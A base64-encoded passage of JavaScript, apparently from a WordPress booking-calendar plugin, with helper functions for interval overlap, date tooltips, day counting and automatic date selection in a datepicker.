MSwgNDMxOTJdICA9PiAgdHJ1ZSAgICAgICggaW50ZXJzZWN0ZWQgKVxyXG5cdFx0ICpcclxuXHRcdCAqIEdvb2QgZXhwbGFuYXRpb24gIGhlcmUgaHR0cHM6Ly9zdGFja292ZXJmbG93LmNvbS9xdWVzdGlvbnMvMzI2OTQzNC93aGF0cy10aGUtbW9zdC1lZmZpY2llbnQtd2F5LXRvLXRlc3QtaWYtdHdvLXJhbmdlcy1vdmVybGFwXHJcblx0XHQgKlxyXG5cdFx0ICogQHBhcmFtICBpbnRlcnZhbF9BICAgLSBbIDM2MDExLCA4NjM5MiBdXHJcblx0XHQgKiBAcGFyYW0gIGludGVydmFsX0IgICAtIFsgICAgIDEsIDQzMTkyIF1cclxuXHRcdCAqXHJcblx0XHQgKiBAcmV0dXJuIGJvb2xcclxuXHRcdCAqL1xyXG5cdFx0ZnVuY3Rpb24gd3BiY19pbnRlcnZhbHNfX2lzX2ludGVyc2VjdGVkKCBpbnRlcnZhbF9BLCBpbnRlcnZhbF9CICkge1xyXG5cclxuXHRcdFx0aWYgKFxyXG5cdFx0XHRcdFx0KCAwID09IGludGVydmFsX0EubGVuZ3RoIClcclxuXHRcdFx0XHQgfHwgKCAwID09IGludGVydmFsX0IubGVuZ3RoIClcclxuXHRcdFx0KXtcclxuXHRcdFx0XHRyZXR1cm4gZmFsc2U7XHJcblx0XHRcdH1cclxuXHJcblx0XHRcdGludGVydmFsX0FbIDAgXSA9IHBhcnNlSW50KCBpbnRlcnZhbF9BWyAwIF0gKTtcclxuXHRcdFx0aW50ZXJ2YWxfQVsgMSBdID0gcGFyc2VJbnQoIGludGVydmFsX0FbIDEgXSApO1xyXG5cdFx0XHRpbnRlcnZhbF9CWyAwIF0gPSBwYXJzZUludCggaW50ZXJ2YWxfQlsgMCBdICk7XHJcblx0XHRcdGludGVydmFsX0JbIDEgXSA9IHBhcnNlSW50KCBpbnRlcnZhbF9CWyAxIF0gKTtcclxuXHJcblx0XHRcdHZhciBpc19pbnRlcnNlY3RlZCA9IE1hdGgubWF4KCBpbnRlcnZhbF9BWyAwIF0sIGludGVydmFsX0JbIDAgXSApIC0gTWF0aC5taW4oIGludGVydmFsX0FbIDEgXSwgaW50ZXJ2YWxfQlsgMSBdICk7XHJcblxyXG5cdFx0XHQvLyBpZiAoIDAgPT0gaXNfaW50ZXJzZWN0ZWQgKSB7XHJcblx0XHRcdC8vXHQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvLyBTdWNoIHJhbmdlcyBnb2luZyBvbmUgYWZ0ZXIgb3RoZXIsIGUuZy46IFsgMTIsIDE1IF0gYW5kIFsgMTUsIDIxIF1cclxuXHRcdFx0Ly8gfVxyXG5cclxuXHRcdFx0aWYgKCBpc19pbnRlcnNlY3RlZCA8IDAgKSB7XHJcblx0XHRcdFx0cmV0dXJuIHRydWU7ICAgICAgICAgICAgICAgICAgICAgLy8gSU5URVJTRUNURURcclxuXHRcdFx0fVxyXG5cclxuXHRcdFx0cmV0dXJuIGZhbHNlOyAgICAgICAgICAgICAgICAgICAgICAgLy8gTm90IGludGVyc2VjdGVkXHJcblx0XHR9XHJcblxyXG5cclxuXHRcdC8qKlxyXG5cdFx0ICogR2V0IHRoZSBjbG9zZXRzIEFCUyB2YWx1ZSBvZiBlbGVtZW50IGluIGFycmF5IHRvIHRoZSBjdXJyZW50IG15VmFsdWVcclxuXHRcdCAqXHJcblx0XHQgKiBAcGFyYW0gbXlWYWx1ZSBcdC0gaW50IGVsZW1lbnQgdG8gc2VhcmNoIGNsb3NldCBcdFx0XHQ0XHJcblx0XHQgKiBAcGFyYW0gbXlBcnJheVx0LSBhcnJheSBvZiBlbGVtZW50cyB3aGVyZSB0byBzZWFyY2ggXHRbNSw4LDEsN11cclxuXHRcdCAqIEByZXR1cm5zIGludFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdDVcclxuXHRcdCAqL1xyXG5cdFx0ZnVuY3Rpb24gd3BiY19nZXRfYWJzX2Nsb3Nlc3RfdmFsdWVfaW5fYXJyKCBteVZhbHVlLCBteUFycmF5ICl7XHJcblxyXG5cdFx0XHRpZiAoIG15QXJyYXkubGVuZ3RoID09IDAgKXsgXHRcdFx0XHRcdFx0XHRcdC8vIElmIHRoZSBhcnJheSBpcyBlbXB0eSAtPiByZXR1cm4gIHRoZSBteVZhbHVlXHJcblx0XHRcdFx0cmV0dXJuIG15VmFsdWU7XHJcblx0XHRcdH1cclxuXHJcblx0XHRcdHZhciBvYmogPSBteUFycmF5WyAwIF07XHJcblx0XHRcdHZhciBkaWZmID0gTWF0aC5hYnMoIG15VmFsdWUgLSBvYmogKTsgICAgICAgICAgICAgXHQvLyBHZXQgZGlzdGFuY2UgYmV0d2VlbiAgMXN0IGVsZW1lbnRcclxuXHRcdFx0dmFyIGNsb3NldFZhbHVlID0gbXlBcnJheVsgMCBdOyAgICAgICAgICAgICAgICAgICBcdFx0XHQvLyBTYXZlIDFzdCBlbGVtZW50XHJcblxyXG5cdFx0XHRmb3IgKCB2YXIgaSA9IDE7IGkgPCBteUFycmF5Lmxlbmd0aDsgaSsrICl7XHJcblx0XHRcdFx0b2JqID0gbXlBcnJheVsgaSBdO1xyXG5cclxuXHRcdFx0XHRpZiAoIE1hdGguYWJzKCBteVZhbHVlIC0gb2JqICkgPCBkaWZmICl7ICAgICBcdFx0XHQvLyB3ZSBmb3VuZCBjbG9zZXIgdmFsdWUgLT4gc2F2ZSBpdFxyXG5cdFx0XHRcdFx0ZGlmZiA9IE1hdGguYWJzKCBteVZhbHVlIC0gb2JqICk7XHJcblx0XHRcdFx0XHRjbG9zZXRWYWx1ZSA9IG9iajtcclxuXHRcdFx0XHR9XHJcblx0XHRcdH1cclxuXHJcblx0XHRcdHJldHVybiBjbG9zZXRWYWx1ZTtcclxuXHRcdH1cclxuXHJcblxyXG4vLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cclxuLyogID09ICBUIE8gTyBMIFQgSSBQIFMgID09XHJcbi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAqL1xyXG5cclxuXHQvKipcclxuXHQgKiBEZWZpbmUgdG9vbHRpcCB0byBzaG93LCAgd2hlbiAgbW91c2Ugb3ZlciBEYXRlIGluIENhbGVuZGFyXHJcblx0ICpcclxuXHQgKiBAcGFyYW0gIHRvb2x0aXBfdGV4dFx0XHRcdC0gVGV4dCB0byBzaG93XHRcdFx0XHQnQm9va2VkIHRpbWU6IDEyOjAwIC0gMTM6MDA8YnI+Q29zdDogJDIwLjAwJ1xyXG5cdCAqIEBwYXJhbSAgcmVzb3VyY2VfaWRcdFx0XHQtIElEIG9mIGJvb2tpbmcgcmVzb3VyY2VcdCcxJ1xyXG5cdCAqIEBwYXJhbSAgdGRfY2xhc3NcdFx0XHRcdC0gU1FMIGNsYXNzXHRcdFx0XHRcdCcxLTktMjAyMydcclxuXHQgKiBAcmV0dXJucyB7Ym9vbGVhbn1cdFx0XHRcdFx0LSBkZWZpbmVkIHRvIHNob3cgb3Igbm90XHJcblx0ICovXHJcblx0ZnVuY3Rpb24gd3BiY19zZXRfdG9vbHRpcF9fX2Zvcl9fY2FsZW5kYXJfZGF0ZSggdG9vbHRpcF90ZXh0LCByZXNvdXJjZV9pZCwgdGRfY2xhc3MgKXtcclxuXHJcblx0XHQvL1RPRE86IG1ha2UgZXNjYXBpbmcgb2YgdGV4dCBmb3IgcXVvdCBzeW1ib2xzLCAgYW5kIEpTL0hUTUwuLi5cclxuXHJcblx0XHRqUXVlcnkoICcjY2FsZW5kYXJfYm9va2luZycgKyByZXNvdXJjZV9pZCArICcgdGQuY2FsNGRhdGUtJyArIHRkX2NsYXNzICkuYXR0ciggJ2RhdGEtY29udGVudCcsIHRvb2x0aXBfdGV4dCApO1xyXG5cclxuXHRcdHZhciB0ZF9lbCA9IGpRdWVyeSggJyNjYWxlbmRhcl9ib29raW5nJyArIHJlc291cmNlX2lkICsgJyB0ZC5jYWw0ZGF0ZS0nICsgdGRfY2xhc3MgKS5nZXQoIDAgKTtcdFx0XHRcdFx0Ly9GaXhJbjogOS4wLjEuMVxyXG5cclxuXHRcdGlmIChcclxuXHRcdFx0ICAgKCAndW5kZWZpbmVkJyAhPT0gdHlwZW9mKHRkX2VsKSApXHJcblx0XHRcdCYmICggdW5kZWZpbmVkID09IHRkX2VsLl90aXBweSApXHJcblx0XHRcdCYmICggJycgIT09IHRvb2x0aXBfdGV4dCApXHJcblx0XHQpe1xyXG5cclxuXHRcdFx0d3BiY190aXBweSggdGRfZWwgLCB7XHJcblx0XHRcdFx0XHRjb250ZW50KCByZWZlcmVuY2UgKXtcclxuXHJcblx0XHRcdFx0XHRcdHZhciBwb3BvdmVyX2NvbnRlbnQgPSByZWZlcmVuY2UuZ2V0QXR0cmlidXRlKCAnZGF0YS1jb250ZW50JyApO1xyXG5cclxuXHRcdFx0XHRcdFx0cmV0dXJuICc8ZGl2IGNsYXNzPVwicG9wb3ZlciBwb3BvdmVyX3RpcHB5XCI+J1xyXG5cdFx0XHRcdFx0XHRcdFx0XHQrICc8ZGl2IGNsYXNzPVwicG9wb3Zlci1jb250ZW50XCI+J1xyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdCsgcG9wb3Zlcl9jb250ZW50XHJcblx0XHRcdFx0XHRcdFx0XHRcdCsgJzwvZGl2PidcclxuXHRcdFx0XHRcdFx0XHQgKyAnPC9kaXY+JztcclxuXHRcdFx0XHRcdH0sXHJcblx0XHRcdFx0XHRhbGxvd0hUTUwgICAgICAgIDogdHJ1ZSxcclxuXHRcdFx0XHRcdHRyaWdnZXJcdFx0XHQgOiAnbW91c2VlbnRlciBmb2N1cycsXHJcblx0XHRcdFx0XHRpbnRlcmFjdGl2ZSAgICAgIDogZmFsc2UsXHJcblx0XHRcdFx0XHRoaWRlT25DbGljayAgICAgIDogdHJ1ZSxcclxuXHRcdFx0XHRcdGludGVyYWN0aXZlQm9yZGVyOiAxMCxcclxuXHRcdFx0XHRcdG1heFdpZHRoICAgICAgICAgOiA1NTAsXHJcblx0XHRcdFx0XHR0aGVtZSAgICAgICAgICAgIDogJ3dwYmMtdGlwcHktdGltZXMnLFxyXG5cdFx0XHRcdFx0cGxhY2VtZW50ICAgICAgICA6ICd0b3AnLFxyXG5cdFx0XHRcdFx0ZGVsYXlcdFx0XHQgOiBbNDAwLCAwXSxcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQvL0ZpeEluOiA5LjQuMi4yXHJcblx0XHRcdFx0XHQvL2RlbGF5XHRcdFx0IDogWzAsIDk5OTk5OTk5OTldLFx0XHRcdFx0XHRcdC8vIERlYnVnZSAgdG9vbHRpcFxyXG5cdFx0XHRcdFx0aWdub3JlQXR0cmlidXRlcyA6IHRydWUsXHJcblx0XHRcdFx0XHR0b3VjaFx0XHRcdCA6IHRydWUsXHRcdFx0XHRcdFx0XHRcdC8vWydob2xkJywgNTAwXSwgLy8gNTAwbXMgZGVsYXlcdFx0XHRcdC8vRml4SW46IDkuMi4xLjVcclxuXHRcdFx0XHRcdGFwcGVuZFRvOiAoKSA9PiBkb2N1bWVudC5ib2R5LFxyXG5cdFx0XHR9KTtcclxuXHJcblx0XHRcdHJldHVybiAgdHJ1ZTtcclxuXHRcdH1cclxuXHJcblx0XHRyZXR1cm4gIGZhbHNlO1xyXG5cdH1cclxuXHJcblxyXG4vLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cclxuLyogID09ICBEYXRlcyBGdW5jdGlvbnMgID09XHJcbi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAqL1xyXG5cclxuLyoqXHJcbiAqIEdldCBudW1iZXIgb2YgZGF0ZXMgYmV0d2VlbiAyIEpTIERhdGVzXHJcbiAqXHJcbiAqIEBwYXJhbSBkYXRlMVx0XHRKUyBEYXRlXHJcbiAqIEBwYXJhbSBkYXRlMlx0XHRKUyBEYXRlXHJcbiAqIEByZXR1cm5zIHtudW1iZXJ9XHJcbiAqL1xyXG5mdW5jdGlvbiB3cGJjX2RhdGVzX19kYXlzX2JldHdlZW4oZGF0ZTEsIGRhdGUyKSB7XHJcblxyXG4gICAgLy8gVGhlIG51bWJlciBvZiBtaWxsaXNlY29uZHMgaW4gb25lIGRheVxyXG4gICAgdmFyIE9ORV9EQVkgPSAxMDAwICogNjAgKiA2MCAqIDI0O1xyXG5cclxuICAgIC8vIENvbnZlcnQgYm90aCBkYXRlcyB0byBtaWxsaXNlY29uZHNcclxuICAgIHZhciBkYXRlMV9tcyA9IGRhdGUxLmdldFRpbWUoKTtcclxuICAgIHZhciBkYXRlMl9tcyA9IGRhdGUyLmdldFRpbWUoKTtcclxuXHJcbiAgICAvLyBDYWxjdWxhdGUgdGhlIGRpZmZlcmVuY2UgaW4gbWlsbGlzZWNvbmRzXHJcbiAgICB2YXIgZGlmZmVyZW5jZV9tcyA9ICBkYXRlMV9tcyAtIGRhdGUyX21zO1xyXG5cclxuICAgIC8vIENvbnZlcnQgYmFjayB0byBkYXlzIGFuZCByZXR1cm5cclxuICAgIHJldHVybiBNYXRoLnJvdW5kKGRpZmZlcmVuY2VfbXMvT05FX0RBWSk7XHJcbn1cclxuXHJcblxyXG4vKipcclxuICogQ2hlY2sgIGlmIHRoaXMgYXJyYXkgIG9mIGRhdGVzIGlzIGNvbnNlY3V0aXZlIGFycmF5ICBvZiBkYXRlcyBvciBub3QuXHJcbiAqIFx0XHRlLmcuICBbJzIwMjQtMDUtMDknLCcyMDI0LTA1LTE5JywnMjAyNC0wNS0zMCddIC0+IGZhbHNlXHJcbiAqIFx0XHRlLmcuICBbJzIwMjQtMDUtMDknLCcyMDI0LTA1LTEwJywnMjAyNC0wNS0xMSddIC0+IHRydWVcclxuICogQHBhcmFtIHNxbF9kYXRlc19hcnJcdCBhcnJheVx0XHRlLmcuOiBbJzIwMjQtMDUtMDknLCcyMDI0LTA1LTE5JywnMjAyNC0wNS0zMCddXHJcbiAqIEByZXR1cm5zIHtib29sZWFufVxyXG4gKi9cclxuZnVuY3Rpb24gd3BiY19kYXRlc19faXNfY29uc2VjdXRpdmVfZGF0ZXNfYXJyX3JhbmdlKCBzcWxfZGF0ZXNfYXJyICl7XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQvL0ZpeEluOiAxMC4wLjAuNTBcclxuXHJcblx0aWYgKCBzcWxfZGF0ZXNfYXJyLmxlbmd0aCA+IDEgKXtcclxuXHRcdHZhciBwcmV2aW9zX2RhdGUgPSB3cGJjX19nZXRfX2pzX2RhdGUoIHNxbF9kYXRlc19hcnJbIDAgXSApO1xyXG5cdFx0dmFyIGN1cnJlbnRfZGF0ZTtcclxuXHJcblx0XHRmb3IgKCB2YXIgaSA9IDE7IGkgPCBzcWxfZGF0ZXNfYXJyLmxlbmd0aDsgaSsrICl7XHJcblx0XHRcdGN1cnJlbnRfZGF0ZSA9IHdwYmNfX2dldF9fanNfZGF0ZSggc3FsX2RhdGVzX2FycltpXSApO1xyXG5cclxuXHRcdFx0aWYgKCB3cGJjX2RhdGVzX19kYXlzX2JldHdlZW4oIGN1cnJlbnRfZGF0ZSwgcHJldmlvc19kYXRlICkgIT0gMSApe1xyXG5cdFx0XHRcdHJldHVybiAgZmFsc2U7XHJcblx0XHRcdH1cclxuXHJcblx0XHRcdHByZXZpb3NfZGF0ZSA9IGN1cnJlbnRfZGF0ZTtcclxuXHRcdH1cclxuXHR9XHJcblxyXG5cdHJldHVybiB0cnVlO1xyXG59XHJcblxyXG5cclxuLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXHJcbi8qICA9PSAgQXV0byBEYXRlcyBTZWxlY3Rpb24gID09XHJcbi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAqL1xyXG5cclxuLyoqXHJcbiAqICA9PSBIb3cgdG8gIHVzZSA/ID09XHJcbiAqXHJcbiAqICBGb3IgRGF0ZXMgc2VsZWN0aW9uLCB3ZSBuZWVkIHRvIHVzZSB0aGlzIGxvZ2ljISAgICAgV2UgbmVlZCBzZWxlY3QgdGhlIGRhdGVzIG9ubHkgYWZ0ZXIgYm9va2luZyBkYXRhIGxvYWRlZCFcclxuICpcclxuICogIENoZWNrIGV4YW1wbGUgYmVsbG93LlxyXG4gKlxyXG4gKlx0Ly8gRmlyZSBvbiBhbGwgYm9va2luZyBkYXRlcyBsb2FkZWRcclxuICpcdGpRdWVyeSggJ2JvZHknICkub24oICd3cGJjX2NhbGVuZGFyX2FqeF9fbG9hZGVkX2RhdGEnLCBmdW5jdGlvbiAoIGV2ZW50LCBsb2FkZWRfcmVzb3VyY2VfaWQgKXtcclxuICpcclxuICpcdFx0aWYgKCBsb2FkZWRfcmVzb3VyY2VfaWQgPT0gc2VsZWN0X2RhdGVzX2luX2NhbGVuZGFyX2lkICl7XHJcbiAqXHRcdFx0d3BiY19hdXRvX3NlbGVjdF9kYXRlc19pbl9jYWxlbmRhciggc2VsZWN0X2RhdGVzX2luX2NhbGVuZGFyX2lkLCAnMjAyNC0wNS0xNScsICcyMDI0LTA1LTI1JyApO1xyXG4gKlx0XHR9XHJcbiAqXHR9ICk7XHJcbiAqXHJcbiAqL1xyXG5cclxuXHJcbi8qKlxyXG4gKiBUcnkgdG8gQXV0byBzZWxlY3QgZGF0ZXMgaW4gc3BlY2lmaWMgY2FsZW5kYXIgYnkgc2ltdWxhdGVkIGNsaWNrcyBpbiBkYXRlcGlja2VyXHJcbiAqXHJcbiAqIEBwYXJhbSByZXNvdXJjZV9pZFx0XHQxXHJcbiAqIEBwYXJhbSBjaGVja19pbl95bWRcdFx0JzIwMjQtMDUtMDknXHRcdE9SICBcdFsnMjAyNC0wNS0wOScsJzIwMjQtMDUtMTknLCcyMDI0LTA1LTIwJ11cclxuICogQHBhcmFtIGNoZWNrX291dF95bWRcdFx0JzIwMjQtMDUtMTUnXHRcdE9wdGlvbmFsXHJcbiAqXHJcbiAqIEByZXR1cm5zIHtudW1iZXJ9XHRcdG51bWJlciBvZiBzZWxlY3RlZCBkYXRlc1xyXG4gKlxyXG4gKiBcdEV4YW1wbGUgMTpcdFx0XHRcdHZhciBudW1fc2VsZWN0ZWRfZGF5cyA9IHdwYmNfYXV0b19zZWxlY3RfZGF0ZXNfaW5fY2FsZW5kYXIoIDEsICcyMDI0LTA1LTE1JywgJzIwMjQtMDUtMjUnICk7XHJcbiAqIFx0RXhhbXBsZSAyOlx0XHRcdFx0dmFyIG51bV9zZWxlY3RlZF9kYXlzID0gd3BiY19hdXRvX3NlbGVjdF9kYXRlc19pbl9jYWxlbmRhciggMSwgWycyMDI0LTA1LTA5JywnMjAyNC0wNS0xOScsJzIwMjQtMDUtMjAnXSApO1xyXG4gKi9cclxuZnVuY3Rpb24gd3BiY19hdXRvX3NlbGVjdF9kYXRlc19pbl9jYWxlbmRhciggcmVzb3VyY2VfaWQsIGNoZWNrX2luX3ltZCwgY2hlY2tfb3V0X3ltZCA9ICcnICl7XHRcdFx0XHRcdFx0XHRcdC8vRml4SW46IDEwLjAuMC40N1xyXG5cclxuXHRjb25zb2xlLmxvZyggJ1dQQkNfQVVUT19TRUxFQ1RfREFURVNfSU5fQ0FMRU5EQVIoIFJFU09VUkNFX0lELCBDSEVDS19JTl9ZTUQsIENIRUNLX09VVF9ZTUQgKScsIHJlc291cmNlX2lkLCBjaGVja19pbl95bWQsIGNoZWNrX291dF95bWQgKTtcclxuXHJcblx0aWYgKFxyXG5cdFx0ICAgKCAnMjEwMC0wMS0wMScgPT0gY2hlY2tfaW5feW1kIClcclxuXHRcdHx8ICggJzIxMDAtMDEtMDEnID09IGNoZWNrX291dF95bWQgKVxyXG5cdFx0fHwgKCAoICcnID09IGNoZWNrX2luX3ltZCApICYmICggJycgPT0gY2hlY2tfb3V0X3ltZCApIClcclxuXHQpe1xyXG5cdFx0cmV0dXJuIDA7XHJcblx0fVxyXG5cclxuXHQvLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxyXG5cdC8vIElmIFx0Y2hlY2tfaW5feW1kICA9ICBbICcyMDI0LTA1LTA5JywnMjAyNC0wNS0xOScsJzIwMjQtMDUtMzAnIF1cdFx0XHRcdEFSUkFZIG9mIERBVEVTXHRcdFx0XHRcdFx0Ly9GaXhJbjogMTAuMC4wLjUwXHJcblx0Ly8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cclxuXHR2YXIgZGF0ZXNfdG9fc2VsZWN0X2FyciA9IFtdO1xyXG5cdGlmICggQXJyYXkuaXNBcnJheSggY2hlY2tfaW5feW1kICkgKXtcclxuXHRcdGRhdGVzX3RvX3NlbGVjdF9hcnIgPSB3cGJjX2Nsb25lX29iaiggY2hlY2tfaW5feW1kICk7XHJcblxyXG5cdFx0Ly8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxyXG5cdFx0Ly8gRXhjZXB0aW9ucyB0byAgc2V0ICBcdE1VTFRJUExFIERBWVMgXHRtb2RlXHJcblx0XHQvLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXHJcblx0XHQvLyBpZiBkYXRlcyBhcyBOT1QgQ09OU0VDVVRJVkU6IFsnMjAyNC0wNS0wOScsJzIwMjQtMDUtMTknLCcyMDI0LTA1LTMwJ10sIC0+IHNldCBNVUxUSVBMRSBEQVlTIG1vZGVcclxuXHRcdGlmIChcclxuXHRcdFx0ICAgKCBkYXRlc190b19zZWxlY3RfYXJyLmxlbmd0aCA+IDAgKVxyXG5cdFx0XHQmJiAoICcnID09IGNoZWNrX291dF95bWQgKVxyXG5cdFx0XHQmJiAoICEgd3BiY19kYXRlc19faXNfY29uc2VjdXRpdmVfZGF0ZXNfYXJyX3JhbmdlKCBkYXRlc190b19zZWxlY3RfYXJyICkgKVxyXG5cdFx0KXtcclxuXHRcdFx0d3BiY19jYWxfZGF5c19zZWxlY3RfX211bHRpcGxlKCByZXNvdXJjZV9pZCApO1xyXG5cdFx0fVxyXG5cdFx0Ly8gaWYgbXVsdGlwbGUgZGF5cyB0byBzZWxlY3QsIGJ1dCBlbmFibGVkIFNJTkdMRSBkYXkgbW9kZSwgLT4gc2V0IE1VTFRJUExFIERBWVMgbW9kZVxyXG5cdFx0aWYgKFxyXG5cdFx0XHQgICAoIGRhdGVzX3RvX3NlbGVjdF9hcnIubGVuZ3RoID4gMSApXHJcblx0XHRcdCYmICggJycgPT0gY2hlY2tfb3V0X3ltZCApXHJcblx0XHRcdCYmICggJ3NpbmdsZScgPT09IF93cGJjLmNhbGVuZGFyX19nZXRfcGFyYW1fdmFsdWUoIHJlc291cmNlX2lkLCAnZGF5c19zZWxlY3RfbW9kZScgKSApXHJcblx0XHQpe1xyXG5cdFx0XHR3cGJjX2NhbF9kYXlzX3NlbGVjdF9fbXVsdGlwbGUoIHJlc291cmNlX2lkICk7XHJcblx0XHR9XHJcblx0XHQvLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXHJcblx0XHRjaGVja19pbl95bWQgPSBkYXRlc190b19zZWxlY3RfYXJyWyAwIF07XHJcblx0XHRpZiAoICcnID09IGNoZWNrX291dF95bWQgKXtcclxuXHRcdFx0Y2hlY2tfb3V0X3ltZCA9IGRhdGVzX3RvX3NlbGVjdF9hcnJbIChkYXRlc190b19zZWxlY3RfYXJyLmxlbmd0aC0xKSBdO1xyXG5cdFx0fVxyXG5cdH1cclxuXHQvLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxyXG5cclxuXHJcblx0aWYgKCAnJyA9PSBjaGVja19pbl95bWQgKXtcclxuXHRcdGNoZWNrX2luX3ltZCA9IGNoZWNrX291dF95bWQ7XHJcblx0fVxyXG5cdGlmICggJycgPT0gY2hlY2tfb3V0X3ltZCApe1xyXG5cdFx0Y2hlY2tfb3V0X3ltZCA9IGNoZWNrX2luX3ltZDtcclxuXHR9XHJcblxyXG5cdGlmICggJ3VuZGVmaW5lZCcgPT09IHR5cGVvZiAocmVzb3VyY2VfaWQpICl7XHJcblx0XHRyZXNvdXJjZV9pZCA9ICcxJztcclxuXHR9XHJcblxyXG5cclxuXHR2YXIgaW5zdCA9IHdwYmNfY2FsZW5kYXJfX2dldF9pbnN0KCByZXNvdXJjZV9pZCApO1xyXG5cclxuXHRpZiAoIG51bGwgIT09IGluc3QgKXtcclxuXHJcblx0XHQvLyBVbnNlbGVjdCBhbGwgZGF0ZXMgYW5kIHNldCAgcHJvcGVydGllcyBvZiBEYXRlcGlja1xyXG5cdFx0alF1ZXJ5KCAnI2RhdGVfYm9va2luZycgKyByZXNvdXJjZV9pZCApLnZhbCggJycgKTsgICAgICBcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0Ly9GaXhJbjogNS40LjNcclxuXHRcdGluc3Quc3RheU9wZW4gPSBmYWxzZTtcclxuXHRcdGluc3QuZGF0ZXMgPSBbXTtcclxuXHRcdHZhciBjaGVja19pbl9qcyA9IHdwYmNfX2dldF9fanNfZGF0ZSggY2hlY2tfaW5feW1kICk7XHJcblx0XHR2YXIgdGRfY2VsbCAgICAgPSB3cGJjX2dldF9jbGlja2VkX3RkKCBpbnN0LmlkLCBjaGVja19pbl9qcyApO1xyXG5cclxuXHRcdC8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxyXG5cdFx0Ly8gID09IERZTkFNSUMgPT1cclxuXHRcdGlmICggJ2R5bmFtaWMnID09PSBfd3BiYy5jYWxlbmRhcl9fZ2V0X3BhcmFtX3ZhbHVlKCByZXNvdXJjZV9pZCwgJ2RheXNfc2VsZWN0X21vZGUnICkgKXtcclxuXHRcdFx0Ly8gMS1zdCBjbGlja1xyXG5cdFx0XHRpbnN0LnN0YXlPcGVuID0gZmFsc2U7XHJcblx0XHRcdGpRdWVyeS5kYXRlcGljay5fc2VsZWN0RGF5KCB0ZF9jZWxsLCAnIycgKyBpbnN0LmlkLCBjaGVja19pbl9qcy5nZXRUaW1lKCkgKTtcclxuXHRcdFx0aWYgKCAwID09PSBpbnN0LmRhdGVzLmxlbmd0aCApe1xyXG5cdFx0XHRcdHJldHVybiAwOyAgXHRcdFx0XHRcdFx0XHRcdC8vIEZpcnN0IGNsaWNrICB3YXMgdW5zdWNjZXNzZnVsLCBzbyB3ZSBtdXN0IG5vdCBtYWtlIG90aGVyIGNsaWNrXHJcblx0XHRcdH1cclxuXHJcblx0XHRcdC8vIDItbmQgY2xpY2tcclxuXHRcdFx0dmFyIGNoZWNrX291dF9qcyA9IHdwYmNfX2dldF9fanNfZGF0ZSggY2hlY2tfb3V0X3ltZCApO1xyXG5cdFx0XH